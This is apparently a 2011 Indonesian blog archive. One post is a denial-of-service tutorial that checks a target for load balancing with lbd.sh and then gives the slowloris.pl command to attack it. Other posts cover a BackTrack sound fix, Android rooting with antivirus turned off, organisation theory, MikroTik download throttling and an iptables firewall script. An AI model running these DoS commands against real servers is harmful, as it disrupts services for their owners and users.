Ads 468x60px

Jumat, 07 Oktober 2011

Tehnik Dos Webserver

Serangan Dos webvserver adalah Serangan yang paling baik dari dulu sampai saat ini bahkan paling di takuti oleh semua server bahkan situs jejaring sosial sekelas facebook yang isunya akan diserang oleh hacker anoniyomus takut dengan hal ini dan jika terkena serengan ini admin harus bekerja ekstra untuk memperbaiki semua sistem yang telah terkena serangan dos. Pernahkah sahabat melakukan serangan DOS kepada webserver? kalau belum mari kita latihan untuk melakukan serangan dos. Disini saya menggunakan 2 buah file yang pertama lbd.sh yang berguna untuk melihat apakah webserver tersebut menggunakan load-balancing atau tidak, yang kedua adalah slowloris.pl yang digunakan untuk melakukan serangan dos.

sebelunya istalldb_autopwn dulu fungsinya kita dapat menggurangi penggunaan waktu untuk melakukan serangan.
caranya ketikan pada terminal
root@bt:~# apt-get install libpgsql-ruby postgresql libpq-dev
root@bt:~# su postgres
sh-4.1$ createuser root -P
could not change directory to "/root"
Enter password for new role:
Enter it again:
Shall the new role be a superuser? (y/n) n
Shall the new role be allowed to create databases? (y/n) n
Shall the new role be allowed to create more new roles? (y/n) n
sh-4.1$ createdb --owner=root metasploit
could not change directory to "/root"
exit
sh-4.1$ exit
exit

Sekarang baru deh Dos servernya
1. Download file lbd.sh dan slowloris.pl disini. kemudian unrar.
2. Cek Load-Balancing dari webserver target.

root@bt:~# cd dos
root@bt:~# ./lbd.sh IP_TARGET

Contoh :
root@bt:~/dos# ./lbd.sh 10.3.0.67
lbd - load balancing detector 0.2 - Checks if a given domain uses load-balancing.
Written by Stefan Behte (http://ge.mine.nu)
Proof-of-concept! Might give false positives.

Checking for DNS-Loadbalancing: NOT FOUND
Checking for HTTP-Loadbalancing [Server]:
Apache/2.2.0 (Win32) DAV/2 mod_ssl/2.2.0 OpenSSL/0.9.8a mod_autoindex_color PHP/4.4.1-pl1
NOT FOUND

Checking for HTTP-Loadbalancing [Date]: 15:16:24, 15:16:24, 15:16:24, 15:16:24, 15:16:24, 15:16:24, 15:16:24, 15:16:24, 15:16:24, 15:16:24, 15:16:24, 15:16:24, 15:16:24, 15:16:24, 15:16:24, 15:16:25, 15:16:25, 15:16:25, 15:16:25, 15:16:25, 15:16:25, 15:16:25, 15:16:25, 15:16:25, 15:16:25, 15:16:25, 15:16:25, 15:16:25, 15:16:25, 15:16:25, 15:16:25, 15:16:25, 15:16:25, 15:16:26, 15:16:26, 15:16:26, 15:16:26, 15:16:26, 15:16:26, 15:16:26, 15:16:26, 15:16:26, 15:16:26, 15:16:26, 15:16:26, 15:16:26, 15:16:29, 15:16:29, 15:16:29, 15:16:29, NOT FOUND

Checking for HTTP-Loadbalancing [Diff]: NOT FOUND

10.3.0.67 does NOT use Load-balancing.
root@bt:~/dos#

Jika jawabannya adalah "10.3.0.67 does NOT use Load-balancing." maka kita akan melakukan serangan dos.

3. Serangan Dos.
root@bt:~/dos# ./slowloris.pl -dns IP_TARGET

* Untuk tipe serangan yang lain bisa dilihat didalam file slowloris.pl.

Berikut Videonya.



Terimakasih untuk abang abangan ono kita yang telah menurunkan ilmunya kepada saya.he

Sabtu, 01 Oktober 2011

Membesarkan volume suara linux

beberapa hari ini bingung juga ama si backtrack yang suaranya pelaaaannnnn banget :( (tapi bunyi).ternyata stelah saya baca di situs resminya Backtrack memang pada sound terdapat Bug, dan begini cara mengatasinya

1. buka system>prefences>Startup Aplications
2 pada tab Startup Program>add
Name : Pulseaudio daemon
Command : /usr/bin/pulseaudio
Commant : Start the sound daemon

akirnya sound saya kemmbali pulih.he tetapi saya belum puas akirnya setelah muter2 di google, akhirnya njeketek ketemu ama perintah Untuk Overclocking Sound alsamixer
yang akan menampilkan mixer soundcard yang akhirnya dapat mengatur besar – kecil nya suara dengan tombol panah atas / bawah :D

ketikan kode di bawah ini pada terminal backtrack



Highslide JS

















Jumat, 30 September 2011

Rooting Android Galaxy Mini

ROOT adalah akses untuk Super User di Linux (Android adalah OS berbasis kernel nya Linux) Root merupakan hak akses yang diberikan kepada user dengan level tertinggi, kalo di Windows mungkin sama dengan Administrator. Pada Android, ROOT tidak diberikan kepada semua pengguna Android (bisa dikatakan di lock), hal ini untuk mencegah user melakukan perubahan konfigurasi yang sangat penting yang dapat mengakibatkan hal-hal yang tidak diinginkan, sementara user ersebut tidak bisa mengembalikan pada konfigurasi semula.

Aplikasi-aplikasi tertentu membutuhkan hak akses user dengan level tertinggi (ROOT) untuk masuk ke system, oleh sebab itu biasanya android perlu di ROOT terlebih dahulu. Demikian juga halnya untuk advanced user ROOT diperlukan untuk melakukan konfigurasi tertentu yang diinginkan.

Berikut ini adalah langkah-langkah untuk melakukan ROOT Android menggunakan software tambahan (superoneclick), diuji pada handphone Galaxy Mini.

Superoneclick bisa diambil disini :




  1. install driver si Galaxy Mini (install kies).
  2. Set si mini ke adb mode (menu > pengaturan > aplikasi > perkembangan > mendebug usb (dicentang))















  3. Colok ke komputer (dengan kabel usb)
  4. Matikan terlebih dahulu antivirusnya.
  5. Jalankan superoneclick, pilih ‘root’, tunggu sampai selesai.
  6. Selesei

Setelah berhasil root, di menu akan ada gambar tengkoraknya. Selamat mencoba.

Rabu, 28 September 2011

Sejarah Munculnya organisasi dan contoh organisasi

Organisasi mungkin telah ada sejak ratusan tahun yang lalu, karena ruang lingkup organisasi yang sangat luas, secara tidak sadar semua manusia sejak lahir sudah ikut dalam organisasi, suatu organisasi dapat menjadi fokus sentral kehidupan seseorang atau ia mungkin hanya merupakan pelayannya untuk sementara waktu. Sebuah organisasi mungkin dapat besifat kaku, “dingin”, tanpa kepribadian, atau kadang-kadang dapat menghasilkan hubungan-hubungan luwes dan bermakna bagi para anggotanya.

Untuk sejarah sendiri belum di ketahui secara pasti kapan terbentuknya organisasi, sutau organisasi biasanya dianggap baru dimulai sebagai disiplin akademik bersamaan dengan munculnya manajemen ilmiah pada tahun 1890-an, dengan Taylorisme yang mewakili puncak dari gerakan ini. Para tokoh manajemen ilmiah berpendapat bahwa rasionalisasi terhadap organisasi dengan rangkaian instruksi dan studi tentang gerak-waktu akan menyebabkan peningkatan produktivitas. Studi tentang berbagai sistem kompensasi pun dilakukan.

Setelah Perang Dunia I, fokus dari studi organisasi bergeser kepada analisis tentang bagaimana faktor-faktor manusia dan psikologi mempengaruhi organisasi. Ini adalah transformasi yang didorong oleh penemuan tentang Dampak Hawthorne. Gerakan hubungan antar manusia ini lebih terpusat pada tim, motivasi, dan aktualisasi tujuan-tujuan individu di dalam organisasi.

Perang Dunia II menghasilkan pergeseran lebih lanjut dari bidang ini, ketika penemuan logistik besar-besaran dan penelitian operasi menyebabkan munculnya minat yang baru terhadap sistem dan pendekatan rasionalistik terhadap studi organisasi.

Pada tahun 1960-an dan 1970-an, bidang ini sangat dipengaruhi oleh psikologi sosial dan tekanan dalam studi akademiknya dipusatkan pada penelitian kuantitatif.

Sejak tahun 1980-an, penjelasan-penjelasan budaya tentang organisasi dan perubahan menjadi bagian yang penting dari studi ini. Metode-metode kualitatif dalam studi ini menjadi makin diterima, dengan memanfaatkan pendekatan-pendekatan dari antropologi, psikologi dan sosiologi

contoh organisasi


Budi Utomo sebagai pelopor Pergerakan Nasional Indonesia memiliki semboyan hendak meningkatkan martabat rakyat. Mas Ngabehi Wahidin Sudiro Husodo, seorang dokter di Yogyakarta dan termasuk golongan priyayi rendahan. Dalam tahun 1906 dan 1907 mulai mengadakan kampanye di kalangn priyayi di pulau Jawa.Di bawah pimpinan Wahidin Sudirohusodo, diupayakan pengumpulan dana untuk memajukan pendidikan di Indonesia. Budi Utomo merupakan pelopor organisasi moderen. Organisasi ini menjadi model bagi gerakan berikutnya. Walaupun ruang lingkup kegiatan Budi Utomo terbatas pada golongan terpelajar dan wilayahnya meliputi Jawa, Madura dan Bali, akan tetapi Budi Utomo menjadi tonggak awal kebangkitan nasional. Karena itu, oleh Bangsa Indonesia, kelahiran Budi Utomo diperingati sebagai Hari Kebangkitan Nasional. Keputusan tersebut tertuang dalam Keputusan Presiden Republik Indonesia, Nomor 31, tanggal 16 Desember 1959.

Selasa, 27 September 2011

Organisasi Sebagai Wadah dan Proses

  • Organisasi Sebagai Wadah

Organisasi adalah suatu konsefsi, pandangan, tinjauan, ajaran, pendapat atau pendekatan tentang pemecahan masalah organisasi agar lebih berhasil dalam mencapai sasaran yang telah ditetapkan.

Organisasi sebagai wadah dapat diartikan sebagai tempat dimana ada sekumpulan individu yang melakukan suatu kegiatan secara bersama - sama dan memiliki tujuan yang sama.Yang dimaksud dengan wadah disini adalah tempat untuk melakukan kegiatannya. Kegiatan yang di lakukan baik itu bersifat positif ataupun negatif tergantung dari individu - individu yang ada di dalam organisasi tersebut.

Arti Organisasi Menurut Parah Ahli
  1. Stoner “Organisasi adalah suatu pola hubungan-hubungan yang melalui mana orang-orang di bawah pengarahan manajer mengejar tujuan bersama.”
  2. James D. Mooney “Organisasi adalah bentuk setiap perserikatan manusia untuk mencapai tujuan bersama.”
  3. Chester I. Bernard “Organisasi merupakan suatu sistem aktivitas kerja sama yang dilakukan oleh dua orang atau lebih.”
  4. Stephen P Robin "Organisasi adalah kesatuan (entity) sosial yang dikoordinasikan secara sadar, dengan sebuah batasan yang relatif dapat diidentifikasi, yang bekerja atas dasar yang relatif terus menerus untuk mencapai suatu tujuan bersama atau sekelompok tujuan."
Organisasi dapat diartikan dalam dua macam, yaitu;
  1. Dalam arti statis, yaitu organisasi sebagai wadah tempat dimana kegiatan kerjasama dijalankan
  2. Dalam arti dinamis, yaitu organisasi sebagai suatu sistem proses interaksi antara orang orang yang bekerja sama, baik formal maupun informal

Dapat di simpulkan bahwa Organisasi Dapat diartikan Sebagai Wadah adalah Tempat adanya pandangan, tijauan, ajaran, pendapat tentang bagaimana tentang cara memecahkan masalah agar lebih berhasil dalam mencapai tujuan.


  • Organisasi Sebagai Proses

Proses dalam kamus bahasa Indonesia berarti rangkaian suatu tindakan. Sedangkan proses dalam buku organisasi karangan Gibso Invancevich Donnelly adalah berkenaan dengan aktifitas yang memberi kehidupan pada skema organisasi tersebut

Dapat di simpulkan bahwa Organisasi Dapat diartikan Sebagai Proses adalah merupakan jiwa bagi struktur organisasi. Jika proses tersebut tidak berjalan dan berfungsi dengan baik, maka masalah yang tidak pernah diharapkan akan timbul dalam sebuah organisasi.

Jumat, 23 September 2011

Blok IDM di hotspot dengan Mikrotik

Jika anda sedang bermain hitspot lalu orang orang di sekitar anda sedang mendownload menggunakan IDM pasti Koneksi anda akan menjadi pelan. ini karena idm adalah software downloader yang sangat rakus . oleh sebab itu di sebagian tempat idm dilarang di gunakan karena akan mennyedot koneksi di sekitarnya.

Tutorial ini sangat bermanfaat bagi RT/RW net ataupun warnet yang ingin melakukan limitasi untuk akses ke ekstensi file2 tertentu, yang biasanya identik dengan hal download mendownload. Biasanya, si client menggunakan salah satu program yang sudah tidak asing lagi, yaitu IDM.

Dengan menambahkan setingan berikut, hanya aktifitas download saja yang akan kita limit, sehingga aktifitas browsing client tetap lancar.

Langkah-langkahnya adalah sebagai berikut :

1. Masukkan rule di firewall untuk mendapatkan IP server tempat file yang didownload dan memasukan IP itu ke dalam address list.

/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.mp3
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.exe
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.rar
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.zip
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.7z
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.cab
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.asf
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.mov
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.wmv
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.mpg
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.mpeg
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.mkv
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.avi
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.flv
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.pdf
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.wav
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.rm
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.mp4
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.ram
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.rmvb
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.dat
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.daa
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.iso
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.nrg
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.bin
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.vcd
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.mp2
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.3gp
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.mpe
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.qt
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.raw
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.wma
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.ogg
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00
/ip firewall filter add chain=forward
src-address=192.168.10.0/24 protocol=tcp content=.doc
action=add-dst-to-address-list address-list=downloads
address-list-timeout=00:05:00


Rule diatas akan menangkap semua traffic dengan ekstensi tertentu dan memasukkannya ke address list downloads selamat 5 menit. Jika ingin menambahkan ekstensi lainnya tinggal dikopas saja.

2. Setting mangle untuk paket yang berasal dari IP yang didapat dari langkah 1.

/ip firewall mangle add chain=forward
protocol=tcp src-address-list=downloads
action=mark-packet new-packet-mark=downloads-paket


3. Langkah terakhir kita masukkan simple queue dari paket mark yang dibuat dari langkah 2.

/queue simple add name=downloads-files
max-limit=128000/128000 packet-marks=downloads-paket


Letakkan queue ini di urutan paling atas, supaya dibaca pertama kali oleh mikrotik sebelum queue lainnya.

Kamis, 22 September 2011

Membuat Firewall di Linux dengan iptables

Firewall adalah sebuah sistem pelindung yang sanggat penting untuk melindungi laptop anda dari serangan orang lain, mahasiswa di kampus saya wajib menggunakan firewall bila menggunakan hotspot tidak perduli windows ataupun linux, karena banyak orang orang yang "iseng"

langsung saja kita mulai membuat firewall linux:
1. install iptables
2. configure script bin/sh firewall
3. ruleset iptables
Untuk yang pertama install iptablesnya dengan perintah sebagai berikut ini :

Seanjutnya configure script bin/sh firewall, script yang kali ini saya pergunakan basis !/bin/sh dimana nantinya akan berfungsi sebagai pengontrol iptables.
Caranya :
cd /sbin
nano firewall <== nama file script yg saya buat masukan configure script ini
#!/bin/sh
#
# Letjen Seting Iptables for ubuntu OS
# http://malanghack.net, http://sekuritionline.net
# and was Copyrighted 2007 by the Letjen

IPTABLES_SAVE="/etc/default/iptables-rules"
SAVE_RESTORE_OPTIONS="-c"
SAVE_ON_STOP="yes"

checkrules() {
if [ ! -f ${IPTABLES_SAVE} ]
then
echo "Tidak Bisa start iptables. Silahkan Buat Rule Seting Iptables"
echo ""/etc/init.d/iptables save""
return 1
fi
}

save() {
echo "Saving iptables state "
/sbin/iptables-save ${SAVE_RESTORE_OPTIONS} > ${IPTABLES_SAVE}
}

start(){
checkrules || return 1
echo "Loading and starting firewall "
echo -n "Firewall Start Protect Your Server"
start-stop-daemon --start --quiet --exec /sbin/iptables-restore -- ${SAVE_RESTORE_OPTIONS} < ${IPTABLES_SAVE} } case "$1" in save) save echo "." ;; start) start echo "." ;; stop) if [ "${SAVE_ON_STOP}" = "yes" ]; then save || exit 1 fi echo -n "Peringatan firewall Berhenti" for a in `cat /proc/net/ip_tables_names`; do /sbin/iptables -F -t $a /sbin/iptables -X -t $a if [ $a == nat ]; then /sbin/iptables -t nat -P PREROUTING ACCEPT /sbin/iptables -t nat -P POSTROUTING ACCEPT /sbin/iptables -t nat -P OUTPUT ACCEPT elif [ $a == mangle ]; then /sbin/iptables -t mangle -P PREROUTING ACCEPT /sbin/iptables -t mangle -P INPUT ACCEPT /sbin/iptables -t mangle -P FORWARD ACCEPT /sbin/iptables -t mangle -P OUTPUT ACCEPT /sbin/iptables -t mangle -P POSTROUTING ACCEPT elif [ $a == filter ]; then /sbin/iptables -t filter -P INPUT ACCEPT /sbin/iptables -t filter -P FORWARD ACCEPT /sbin/iptables -t filter -P OUTPUT ACCEPT fi done start-stop-daemon --stop --quiet --pidfile /var/run/iptables.pid --exec /sbin/iptables echo "." ;; restart) echo -n "Flushing firewall" for a in `cat /proc/net/ip_tables_names`; do /sbin/iptables -F -t $a /sbin/iptables -X -t $a done; start echo "." ;; *) echo "Gunakan: firewall {start|stop|restart|save}" >&2
exit 1
;;
esac

exit 0


Sedikit penjelasan (IPTABLES_SAVE="/etc/default/iptables-rules" ini merupakan script default yg akan menyimpan
rule iptables yg nantinya kita buat


Nah langkah yang ke tiga Ruleset iptables, nah begini perintahnya :

Cara pertama:



setelah memasukan perintah iptables jangan lupa ketik perintah : firewall save (bertujuan untuk menyimpan rule iptables)

Cara kedua yg bisa kita pakai juga ialah dengan mengedit iptables-rules yg terdapat pada directory /etc/default/

contoh rule iptables ketik : nano /etc/default/
# Generated by iptables-save v1.3.3 on Thu Nov 10 22:29:21 2010
*mangle
REROUTING ACCEPT [774:59782]
:INPUT ACCEPT [774:59782]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [477:81340]
OSTROUTING ACCEPT [477:81340]
COMMIT
# Completed on Thu Nov 10 22:29:21 2010
# Generated by iptables-save v1.3.3 on Thu Nov 10 22:29:21 2010
*filter
:INPUT ACCEPT [596:44876]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [477:81340]
[178:14906] -A INPUT -p icmp -m icmp --icmp-type 8 -j DROP
[0:0] -A INPUT -p udp -j DROP
[0:0] -A INPUT -p tcp -m tcp --dport 21 -j ACCEPT
[0:0] -A INPUT -p tcp -m tcp --dport 25 -j REJECT --reject-with icmp-port-unreachable
[0:0] -A INPUT -p tcp -m tcp --dport 53 -j ACCEPT
[0:0] -A INPUT -p tcp -m tcp --dport 110 -j REJECT --reject-with icmp-port-unreachable
[0:0] -A INPUT -p tcp -m tcp --dport 113 -j REJECT --reject-with icmp-port-unreachable
[0:0] -A INPUT -p tcp -m tcp --dport 465 -j REJECT --reject-with icmp-port-unreachable
[0:0] -A INPUT -p tcp -m tcp --dport 993 -j REJECT --reject-with icmp-port-unreachable
[0:0] -A INPUT -p tcp -m tcp --dport 995 -j REJECT --reject-with icmp-port-unreachable
[0:0] -A INPUT -p tcp -m tcp --dport 143 -j REJECT --reject-with icmp-port-unreachable
[0:0] -A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
[0:0] -A INPUT -p tcp -m tcp --dport 3306 -j REJECT --reject-with icmp-port-unreachable
[0:0] -A INPUT -p tcp -m tcp --dport 8080 -j REJECT --reject-with icmp-port-unreachable
COMMIT
# Completed on Thu Nov 10 22:29:21 2010
# Generated by iptables-save v1.3.3 on Thu Nov 10 22:29:21 2010
*nat
REROUTING ACCEPT [184:15226]
OSTROUTING ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
COMMIT
# Completed
untuk menjalankan

Semoga ini bisa membatu,